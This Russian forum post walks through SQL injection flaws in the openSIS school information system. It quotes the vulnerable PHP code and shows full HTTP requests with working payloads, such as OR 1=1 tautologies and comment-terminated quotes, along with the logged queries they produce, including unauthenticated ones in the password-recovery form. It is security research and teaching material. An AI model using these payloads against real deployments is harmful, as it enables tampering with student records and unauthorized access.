Дыры в openSIS. Разбираем SQL-инъекции на живом примере

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой статье мы с тобой разберем несколько видов SQL-инъекций на боевом примере — приложении openSIS, в коде которого я нашел несколько серьезных проблем. Если ты хочешь научиться обнаруживать потенциальные проблемы в коде на PHP, этот материал должен стать живой иллюстрацией. Особенно она будет полезна новичкам, которые хотят разобраться с темой SQLi.

openSIS — это бесплатная и открытая информационная система для учебных заведений, доступная для школ и высших учебных заведений. Она разработана и поддерживается компанией Open Solutions for Education.

Я установил это приложение локально, что позволило мне видеть все запросы, отправляемые им в базу данных. Другими словами, тестирование проводилось методом белого ящика: знание кода и структуры данных позволило тщательно изучить, как обрабатывается то, что ввел пользователь, и как формируются SQL-запросы.

Я искал те места в коде, где ввод подставляется в SQL-запрос без должной проверки и чистки (валидации и санитизации). Давай посмотрим, что мне удалось найти.

ЛОГИРОВАНИЕ​

Первым делом нам потребуется настроить логирование запросов к базе данных. То есть нам нужно записывать выполняемые запросы к базе, чтобы потом по ним можно было посмотреть, как программа реагировала на то, что пользователь вводил на сайте. Это поможет нам нагляднее увидеть проблемы и воспользоваться ими.

В MySQL или MariaDB для включения логирования нужно выполнить следующее:
  1. Создать файл mysql.log в директории /var/log/mysql.
  2. Изменить права на файл или папку и предоставить разрешения пользователю mysql:
    Код: Скопировать в буфер обмена
    chown mysql:mysql /var/log/mysql -R
  3. Открыть файл с настройками MySQL/MariaDB, обычно расположенный в /etc/mysql/my.cnf или /etc/my.cnf.
  4. Найти секцию [mysqld] (если ее нет, добавить самостоятельно).
  5. Добавить или раскомментировать следующие строки для включения логирования запросов:
    Код: Скопировать в буфер обмена
    Код:
    general_log = 1
    general_log_file = /var/log/mysql/mysql.log
  6. Перезапустить сервис MySQL/MariaDB, чтобы изменения вступили в силу.

НЕМНОГО О SQLI​

Забегая вперед, скажу, что мы найдем (но не будем эксплуатировать) «слепые» SQL-инъекции. В отличие от других форм SQLi, слепые SQL-инъекции не раскрывают данные напрямую и требуют тонкого подхода к извлечению данных. Слепые SQL-инъекции делятся на две основные категории: на основе булевых значений и на основе времени.

В булевой слепой SQLi мы изменяем SQL-запрос так, чтобы система возвращала булево значение — то есть ответ на то, истинно выражение или ложно. Этот тип атаки использует бинарную природу ответов: содержимое веб‑страницы или код ответа HTTP будет изменяться в зависимости от истинности внедренного запроса. Например, изменение запроса может привести к тому, что какие‑то элементы на веб‑странице будут появляться и исчезать в зависимости от того, истинны ли результаты запроса (условие существует в базе данных) или ложны (его нет).

Временные слепые SQL-инъекции более скрытны. Здесь мы внедряем SQL-команды, которые заставляют базу данных задуматься чуть дольше обычного, и используем это, чтобы вытащить из нее данные. Отсутствие визуальной обратной связи на странице делает эти атаки особенно трудными для обнаружения. Если условие запроса истинно, ответ базы данных намеренно задерживается, и отсутствие задержки означает «ложь». Измеряя время ответа, мы можем определить наличие или отсутствие конкретных данных в базе.

НЕАУТЕНТИФИЦИРОВАННЫЕ SQLI​

При поиске багов в приложении ты должен ориентироваться в первую очередь на уязвимости, которые не требуют аутентификации пользователя, так как они самые опасные. Я нашел две похожие SQL-инъекции в разделе «Студент» в функциях, отвечающих за восстановление имени пользователя и пароля.
image1.png


Я отправил два запроса: первый, имитируя работу формы Forgot Password, второй — Forgot Username.

Forgot Password:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5
Forgot Username:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm
Вот в какие SQL-запросы это трансформировалось:
Код: Скопировать в буфер обмена
Код:
Query   SELECT s.* FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
 AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3
Код: Скопировать в буфер обмена
Код:
Query   SELECT la.PASSWORD FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID  AND s.BIRTHDATE='2024-04-30'
 AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS
Как видишь, s.STUDENT_ID не заключен в кавычки, что делает эту переменную уязвимой для SQL-инъекций. Я могу использовать полезную нагрузку XSS OR 1=1:
Код: Скопировать в буфер обмена
Код:
tail -f  /var/log/mysql/mysql.log | grep -i 'xss'
2024-04-27T13:35:15.303711Z     9 Query
 SELECT s.* FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
 AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1
 AND la.PROFILE_ID=3
Код: Скопировать в буфер обмена
Код:
2024-04-27T13:35:29.563796Z    10 Query
 SELECT la.PASSWORD FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID  AND s.BIRTHDATE='2024-04-30'
 AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1
Вот как выглядит уязвимый код для восстановления юзернейма. Файл ResetUserInfo.php, строка 395:
Код: Скопировать в буфер обмена
Код:
$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID  AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
 AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));
А вот уязвимый код, который обрабатывает форму восстановления пароля. Файл ResetUserInfo.php, строка 296:
Код: Скопировать в буфер обмена
Код:
$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la
 WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''
 AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
 AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));
Отсюда мы можем понять, что если грепнуть по выражению =' . $, то мы, вероятно, получим все параметры, которые не заключены в кавычки.

Например, используем вот такую команду:
Код: Скопировать в буфер обмена
find . -exec grep -R "=' \\. \\$" {} \; 2>/dev/null | grep 'DBQuery'
В результате мы получим все параметры, которые не заключены в кавычки, а также множество других параметров, которые могут быть уязвимы. Проверять их все не стоит нашего времени, поэтому продолжим искать уязвимости:
Код: Скопировать в буфер обмена
Код:
./index.php: $usr_prof = DBGet(DBQuery('SELECT * FROM user_profiles WHERE ID=' . $login_uniform['PROFILE_ID']));
./index.php: $check_enrollment = DBGet(DBQuery('SELECT COUNT(*) AS REC_EX FROM student_enrollment WHERE STUDENT_ID=' . $login_uniform['USER_ID'] . ' AND END_DATE<'' . date('Y-m-d') . '' ORDER BY ID DESC LIMIT 0,1'));
./index.php:                $opensis_staff_access = DBGet(DBQuery('SELECT * FROM staff_school_info WHERE STAFF_ID=' . $login_Check[1]['STAFF_ID']));

АУТЕНТИФИЦИРОВАННЫЕ SQLI​

School Setup​

У этого приложения очень интересный подход к защите от SQL-инъекций, называемый SingleQuoteReplace.
Код: Скопировать в буфер обмена
Код:
function singleQuoteReplace($param1, $param2, $param3) {
    if(empty($param1))  $param1 = false;
    if(empty($param2))  $param2 = false;
    return str_replace("'", "''", str_replace("'", "'", $param3));
Эта функция, по сути, заменяет одну одинарную кавычку двумя одинарными кавычками, тем самым предотвращая SQL-инъекцию.

Давай проверим параметр TITLE в запросе ниже:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
tables[18][TITLE]=XSS&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Когда я отправляю запрос, подобный приведенному выше, я вижу:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:35:37.678456Z    70 Query
 SELECT * FROM marking_periods WHERE upper(TITLE)='XSS'
 AND SCHOOL_ID='1' AND SYEAR='2024'AND MARKING_PERIOD_ID NOT IN('18')
Если вместо XSS я введу XSS', SQL-запрос будет немного другим:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:36:10.103810Z    81 Query
 SELECT * FROM marking_periods WHERE upper(TITLE)='XSS'''
 AND SCHOOL_ID='1' AND SYEAR='2024'
 AND MARKING_PERIOD_ID NOT IN('18')
Моя одинарная кавычка заменяется двумя одинарными кавычками. Чтобы сделать этот случай более понятным, ты можешь использовать простой PHP-код, чтобы проверить это самостоятельно.
PHP: Скопировать в буфер обмена
Код:
<?php
function singleQuoteReplace($param1, $param2, $param3) {
    if(empty($param1))  $param1 = false;
    if(empty($param2))  $param2 = false;
    return str_replace("'", "''", str_replace("'", "'", $param3));
}
echo singleQuoteReplace('', '', "XSS'");
echo "\n";
?>
Результат:
Код: Скопировать в буфер обмена
Код:
root@ubuntu:~# php 1.php
XSS''
Давай заглянем в исходники, относящиеся к этой части приложения. Нам нужен файл modules/schoolsetup/MarkingPeriods.php, строка 271:
PHP: Скопировать в буфер обмена
Код:
$TITLE_COUNT =  DBGet(DBQuery('SELECT * FROM marking_periods
 WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . ''
 AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''
 AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')'));
Есть еще один SQL-запрос, связанный с запросом выше:
Код: Скопировать в буфер обмена
UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'
Его код находится в modules/schoolsetup/MarkingPeriods.php, строки 270–286:
Код: Скопировать в буфер обмена
Код:
$sql = 'UPDATE ' . $table . ' SET ';
 foreach ($columns as $column => $value) {
  $value = paramlib_validation($column, trim($value));
  if ($column == 'DOES_GRADES' && $value == '') {
   $sql_ex = 'update ' . $table . ' set DOES_EXAM='' where marking_period_id='' . $_REQUEST['marking_period_id'] . ''';
  }
  if ($column == 'TITLE' && $columns['TITLE'] != '') {
   $TITLE_COUNT = DBGet(DBQuery('SELECT * FROM marking_periods WHERE upper(TITLE)='' . strtoupper(singleQuoteReplace('', '', $value)) . '' AND SCHOOL_ID='' . UserSchool() . '' AND SYEAR='' . UserSyear() . ''AND MARKING_PERIOD_ID NOT IN('' . $_REQUEST['marking_period_id'] . '')'));
   if (is_countable($TITLE_COUNT) && count($TITLE_COUNT) > 0) {
    $err_msg = _titleAlreadyExists;
    break 2;
   } else {
    $sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '',';
    $go = true;
   }
  }
Как видишь, наш запрос начинается с 'UPDATE ' . $table . ' SET ';. Здесь $table — это, очевидно, имя таблицы. Дальше выполнение переходит ко второму оператору if, потому что мы установили заголовок XSS:
Код: Скопировать в буфер обмена
if ($column == 'TITLE' && $columns['TITLE'] != '')
Теперь мы попадаем в блок else:
Код: Скопировать в буфер обмена
$sql .= $column . '='' . singleQuoteReplace('', '', trim($value)) . '',';
Я использовал XSS' в качестве входных данных, и это дало такой SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:58:52.933692Z   241 Query
 UPDATE school_years SET TITLE='XSS''',TITLE='XSS''',SHORT_NAME='FYaaaaaaa',
 DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',
 POST_START_DATE='2023-09-01',POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Я решил удалить SingleQuoteReplace и посмотреть, что изменится в запросе:
Код: Скопировать в буфер обмена
$sql .= $column . '='' . $value . '',';
SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T14:58:12.880333Z   230 Query
 UPDATE school_years SET TITLE='XSS'',TITLE='XSS''',SHORT_NAME='FYaaaaaaa',
 DOES_COMMENTS='Y',DOES_GRADES='Y',DOES_EXAM='Y',POST_START_DATE='2023-09-01',
 POST_END_DATE='2024-08-31' WHERE MARKING_PERIOD_ID='18'
Только значение первого столбца экранировано, второй TITLE остался прежним. Я вернул код обратно и вместо 18 написал 18":
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 546
tables[18''][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
Почему я заменил 18 в первом tables[]?

Поскольку запрос был UPDATE school_years SET TITLE, логично было изменить 18 в параметре TITLE. SQL-запрос сейчас такой:
Код: Скопировать в буфер обмена
2024-04-27T15:11:25.255965Z 314 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18'''
Почему XSS' был заменен XSS'', а 18'' остался как 18'' (то есть не изменился), если я вернул все в норму и включил функцию SingleQuoteReplace?

Потому что в коде SingleQuoteReplace заменяет одну одинарную кавычку двумя одинарными кавычками только в параметре первого столбца, а не в других. Инъекция здесь осуществляется в параметр MARKING_PERIOD_ID, и SingleQuoteReplace там не сработает.

Я поменял 18" на 18'+OR+1%3d1%23. Теперь запрос такой:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/MarkingPeriods.php&mp_term=FY&marking_period_id=18&year_id=&semester_id=&quarter_id= HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 558
tables[18'+OR+1%3d1%23][TITLE]=XSS'&tables[18][SHORT_NAME]=FYaaaaaaa&tables[18][DOES_COMMENTS]=Y&tables[18][DOES_GRADES]=Y&tables[18][DOES_EXAM]=Y&month_tables[18][START_DATE]=09&day_tables[18][START_DATE]=01&year_tables[18][START_DATE]=2023&month_tables[18][END_DATE]=08&day_tables[18][END_DATE]=31&year_tables[18][END_DATE]=2024&month_tables[18][POST_START_DATE]=09&day_tables[18][POST_START_DATE]=01&year_tables[18][POST_START_DATE]=2023&month_tables[18][POST_END_DATE]=08&day_tables[18][POST_END_DATE]=31&year_tables[18][POST_END_DATE]=2024&btn_save=Save
SQL-запрос:
Код: Скопировать в буфер обмена
2024-04-27T15:14:17.857574Z 326 Query UPDATE school_years SET TITLE='XSS''',TITLE='XSS''' WHERE MARKING_PERIOD_ID='18' OR 1=1#'
Некоторые случаи, включающие INSERT, могут быть трудными для тестирования, поскольку тебе придется каждый раз удалять вставленные значения. Один из таких случаев — в этом запросе:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/SystemPreference.php&modfunc=update&page_display=FAILURE HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
failure%5BFAIL_COUNT%5D=1111
SQL-запрос:
Код: Скопировать в буфер обмена
INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(11111)
Код SQL-запроса сформирован в файле modules/schoolsetup/FailureCount.php, строки 31–47:
Код: Скопировать в буфер обмена
Код:
if ($_REQUEST['modfunc'] == 'update') {
    if ($_REQUEST['failure']) {
        $TOTAL_COUNT = DBGet(DBQuery("SELECT COUNT(FAIL_COUNT) AS TOTAL_COUNT FROM system_preference_misc"));
        $TOTAL_COUNT = $TOTAL_COUNT[1]['TOTAL_COUNT'];
        if ($TOTAL_COUNT == 0 && $_REQUEST['failure']['FAIL_COUNT']) {
            DBQuery('INSERT INTO system_preference_misc (FAIL_COUNT) VALUES(' . $_REQUEST['failure']['FAIL_COUNT'] . ')');
        } else if ($TOTAL_COUNT == 1) {
            $sql = 'UPDATE system_preference_misc SET ';
            foreach ($_REQUEST['failure'] as $column_name => $value) {
                $sql .= "$column_name='" . str_replace("'", "''", str_replace("`", "''", $value)) . "',";
            }
            $sql = substr($sql, 0, -1) . ' WHERE 1=1';
            DBQuery($sql);
        }
    }
    unset($_REQUEST['failure']);
}
Здесь нет проверки и очистки, следовательно, этот параметр также уязвим для SQL-инъекций. И опять же, в этом случае мы можем использовать grep (' .$ и получить другие уязвимые параметры.

Разработчик явно попытался предотвратить SQL-инъекцию, удвоив вставленные двойные кавычки, но это привело лишь к курьезу.

Отправляем запрос:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 51
tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS
Получается вот такой SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T18:33:20.677481Z  1489 Query
 INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)
 values('1','2024',"XSS")
Все выглядит нормально, но в коде двойная кавычка дублируется. Смотри modules/schoolsetup/Courses.php, строку 1424:
Код: Скопировать в буфер обмена
Код:
$go = 0;
 foreach ($columns as $column => $value) {
     if ($value != '') {
         $value = trim(paramlib_validation($column, $value));
         $fields .= $column . ',';
         if (stripos($_SERVER['SERVER_SOFTWARE'], 'linux')) {
             $value = mysql_real_escape_string($value);
         }
         $value = str_replace('"', '""', $value);
         $values .= '"' . $value . '",';
         $go = true;
     }
 }
Это значит, что, если я введу XSS", эта строка превратится в XSS"". Но есть и какая‑то санитизация, где именно она происходит, я так и не выяснил. Когда я ввожу строку XSS, она превращается в XSS". Но поскольку в приведенном выше коде есть вызов функции str_replace, он исправит XSS" на XSS"", что приведет к SQL-инъекции.

Итого: разработчик применил две меры безопасности — удвоение кавычки и санитизацию. И привело это только к созданию уязвимого кода, поскольку один подход противоречит другому и порядок их использования неверен.

Я решил отправить еще один запрос с полезной нагрузкой XSS")#:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=schoolsetup/Courses.php&subject_id=new HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=m0is4jrd2i2l5bba7ulomve02o
Connection: close
Content-Length: 54
tables%5Bcourse_subjects%5D%5Bnew%5D%5BTITLE%5D=XSS")#
SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-27T18:38:34.728708Z  1495 Query
 INSERT INTO course_subjects (SCHOOL_ID,SYEAR,TITLE)
 values('1','2024',"XSS"")#")

Students​

Случай, аналогичный описанному выше, произошел с одинарными кавычками.

Первый запрос:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=students/StudentFields.php&table=student_field_categories HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc
Connection: close
tables%5Bnew%5D%5BTITLE%5D=XSS&tables%5Bnew%5D%5BSORT_ORDER%5D=1111&tables%5Bnew%5D%5BINCLUDE%5D=bbbb
SQL-запрос:
Код: Скопировать в буфер обмена
SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS'
Код modules/students/StudentFields.php, строка 58:
Код: Скопировать в буфер обмена
Код:
  } elseif ($table == 'student_field_categories') {
  if (trim($_REQUEST['tables']['new']['TITLE']) != '') {
   $chk_title = DBGet(DBQuery('SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='' . str_replace("'", "''", trim($_REQUEST['tables']['new']['TITLE'])) . '''));
Как видно из кода, он заменяет одну одинарную кавычку двумя одинарными кавычками. Таким образом, он выйдет (') из введенной нами кавычки, а затем добавит еще одну кавычку (''), тем самым выполнив SQL-инъекцию. Я буду использовать нагрузку XSS'#:
Код: Скопировать в буфер обмена
2024-04-30T13:35:45.590461Z 47 Query SELECT COUNT(*) AS TITLE_FOUND FROM student_field_categories WHERE TITLE='XSS''#'
Тот же случай произошел и в файле modules/students/EnrollmentCodes.php, строки 37–54:
Код: Скопировать в буфер обмена
Код:
$sql = 'UPDATE student_enrollment_codes SET ';
 foreach ($columns as $column => $value) {
  if (($select_enroll[1]['TYPE'] == 'Roll' || $select_enroll[1]['TYPE'] == 'TrnD' || $select_enroll[1]['TYPE'] == 'TrnE' || $value == 'Roll' || $value == 'TrnD' || $value == 'TrnE') && $column == 'TYPE') {
   $error = true;
   continue;
  }
  $value = paramlib_validation($column, trim($value));
  $sql .= $column . '='' . str_replace("'", "''", $value) . ' ',';
  $go = true;
 }
 $sql = substr($sql, 0, -1) . ' WHERE ID='' . $id . ''';
 if ($go)
  DBQuery($sql);
 if ($error) {
  ShowErrPhp(_canTEditTypeBecauseItIsNotEditable);
 }
Как ты видишь, для $id нет проверки, что делает его уязвимым для SQL-инъекций.
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=students/EnrollmentCodes.php&modfunc=update HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=5iesmnaum69q6unsnaalqbi2tc
Connection: close
Content-Length: 152
LO_search=&values[14''][TITLE]=AAAA&values[14][SHORT_NAME]=BBB&values[14][TYPE]=Drop&values[new][TITLE]=&values[new][SHORT_NAME]=&values[new][TYPE]=
SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-04-30T13:41:58.636133Z   140 Query
 UPDATE student_enrollment_codes
 SET TITLE='AAAA ' WHERE ID='14'''
Я использовал полезную нагрузку 14' OR 1=1 -- -, SQL-запрос такой:
Код: Скопировать в буфер обмена
Код:
2024-04-30T13:43:42.143231Z   147 Query
 UPDATE student_enrollment_codes
 SET TITLE='AAAA ' WHERE ID='14' OR 1=1-- -'
В результате все названия были заменены.

Users​

Это приложение продолжает удивлять меня: есть функции, которые на самом деле предотвращают SQL-инъекции (и некоторые из них созданы самими разработчиками), но разработчики эти каким‑то невообразимым образом использовали эти функции так, что программа не просто осталась уязвимой — возможность для инъекций теперь есть вообще на каждой странице!

Инъекции можно предотвратить, например, перебирая значения из запроса средствами оператора foreach, как в строке 70 в modules/users/includes/CertificationInfoInc.php:
Код: Скопировать в буфер обмена
Код:
foreach ($_REQUEST['values'] as $cert_id => $cert_value) {
  if ($cert_id && $cert_id != 'new') {
   $sql = "UPDATE staff_certification SET ";
   foreach ($cert_value as $column => $value) {
    if (!is_array($value))
     $sql .= $column . "='" . str_replace("'", "''", $value) . "',";
    else {
     $sql .= $column . "='||";
     foreach ($value as $val) {
      if ($val)
       $sql .= str_replace('"', '"', $val) . '||';
     }
     $sql .= "',";
    }
   }
   $sql = substr($sql, 0, -1) . " WHERE STAFF_CERTIFICATION_ID='$cert_id'";
   DBQuery($sql);
Но здесь foreach, наоборот, создает ситуацию, благодаря которой SQLi можно пропихнуть через любой параметр. Как видишь, $cert_id никак не санитизируется и берется из значения "values", например:
Код: Скопировать в буфер обмена
Код:
POST /openSIS/Modules.php?modname=users/Staff.php&custom=staff&include=CertificationInfoInc&category_id=4&staff_id=30&modfunc=update HTTP/1.1
Host: 192.168.147.131
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQS9jXjB4QidjJBZp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Cookie: PHPSESSID=0oelpc05g9clrnv5fdrvg8kvqr
Connection: close
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="error_handler"
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="LO_search"
Search
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]"
AAAA2
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="month_values[1][STAFF_CERTIFICATION_DATE]"
05
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="day_values[1][STAFF_CERTIFICATION_DATE]"
...
Все, что содержит "values", уязвимо, включая те случаи, когда вместо цифры стоит текст, например values[new]. Запрос к базе данных выглядит следующим образом:
Код: Скопировать в буфер обмена
Код:
root@ubuntu:~# tail -f  /var/log/mysql/mysql.log | grep 'WHERE STAFF_CERTIFICATION_ID'
2024-05-02T17:37:22.846611Z  2032 Query
 UPDATE staff_certification  SET STAFF_CERTIFICATION_NAME='AAAA2',
 STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
 STAFF_CERTIFICATION_DATE='2024-05-01',
 STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
 WHERE STAFF_CERTIFICATION_ID='1'

2024-05-02T17:37:22.846988Z  2032 Query
 UPDATE staff_certification  SET
 STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
 STAFF_CERTIFICATION_DATE='2024-05-01',
 STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
 WHERE STAFF_CERTIFICATION_ID='2'
...
Если я заменю каждое значение другим числом, очевидно, количество апдейтов увеличится и будет равно количеству чисел. Я заменил первые 16 значений на числа от 1 до 15 (использовал 1 два раза):
Код: Скопировать в буфер обмена
Код:
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="error_handler"

------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="LO_search"

Search
------WebKitFormBoundaryQS9jXjB4QidjJBZp
Content-Disposition: form-data; name="values[1][STAFF_CERTIFICATION_NAME]"
...
SQL-запрос:
Код: Скопировать в буфер обмена
Код:
2024-05-02T17:39:02.393434Z  2208 Query
 UPDATE staff_certification
 SET STAFF_CERTIFICATION_NAME='AAAA2',STAFF_CERTIFICATION_DATE='-05'
 WHERE STAFF_CERTIFICATION_ID='1'

2024-05-02T17:39:02.394323Z  2208 Query UPDATE staff_certification
 SET STAFF_PRIMARY_CERTIFICATION_INDICATOR=NULL,
 STAFF_CERTIFICATION_DATE='2024-05-01',
 STAFF_CERTIFICATION_EXPIRY_DATE='2024-05-31'
 WHERE STAFF_CERTIFICATION_ID='4'
Всего есть 15 запросов UPDATE. Уязвимость легко продемонстрировать, используя {n}'#:
Код: Скопировать в буфер обмена
Код:
month_values[15'#][STAFF_CERTIFICATION_DATE]
2024-05-02T17:41:05.612987Z  2253 Query UPDATE staff_certification  SET STAFF_CERTIFICATION_DATE='-05' WHERE STAFF_CERTIFICATION_ID='15'#'

Валидация параметров​

В openSIS есть валидация параметров, которую можно использовать, вызвав функцию clean_param. Функция clean_param много раз вызывается в коде, мы рассмотрим PARAM_NOTAGS и PARAM_ALPHA.
Код: Скопировать в буфер обмена
Код:
case PARAM_NOTAGS:       // Strip all tags
    $param = strip_tags($param);
    $param = str_replace('>', '', $param);
    return str_replace('<', '', $param);
 
 case PARAM_ALPHA:        // Remove everything not a-z
    return par_rep('/[^a-zA-Z#&]/i', '', $param);
    //  return replace_croatain($param);
Код PARAM_NOTAGS хорош для предотвращения XSS. Но я бы не использовал его, потому что пользователю могут потребоваться теги в заголовке, так что кодирование HTML было бы лучше в этом случае. PARAM_ALPHA очищает входной параметр $param, удаляя все символы, которые не являются стандартными буквами, # или &. Я видел использование этих кейсов в строках 114–128 в modules/users/Profiles.php:
PHP: Скопировать в буфер обмена
Код:
if (clean_param($_REQUEST['new_profile_title'], PARAM_NOTAGS) && AllowEdit()) {
